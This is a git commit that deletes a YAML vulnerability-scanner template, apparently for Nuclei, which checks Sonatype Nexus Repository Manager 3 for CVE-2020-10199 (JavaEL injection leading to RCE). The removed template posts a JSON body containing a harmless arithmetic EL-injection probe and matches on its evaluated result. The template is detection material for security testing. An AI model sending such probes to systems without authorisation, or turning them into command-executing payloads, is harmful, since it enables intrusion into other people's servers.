Delete CVE-2020-10199.yaml

patch-1
PD-Team 2021-01-30 10:18:01 +05:30
parent 18bc1f9058
commit 3be5354a7d
1 changed files with 0 additions and 27 deletions

View File

@ -1,27 +0,0 @@
id: CVE-2020-10199
info:
name: Nexus Repository Manager 3 RCE
author: hetroublemakr
severity: high
description: Sonatype Nexus Repository before 3.21.2 allows JavaEL Injection (issue 1 of 2).
# reference: https://support.sonatype.com/hc/en-us/articles/360044882533-CVE-2020-10199-Nexus-Repository-Manager-3-Remote-Code-Execution-2020-03-31
requests:
- method: POST
path:
- '{{BaseURL}}/rest/beta/repositories/go/group'
headers:
Content-Type: application/json
body: '{"name": "internal","online": true,"storage": {"blobStoreName": "default","strictContentTypeValidation": true},"group": {"memberNames": ["$\\c{ 1337 * 1337 }"]}}'
matchers-condition: and
matchers:
- type: word
words:
- "1787569"
part: body
- type: status
status:
- 400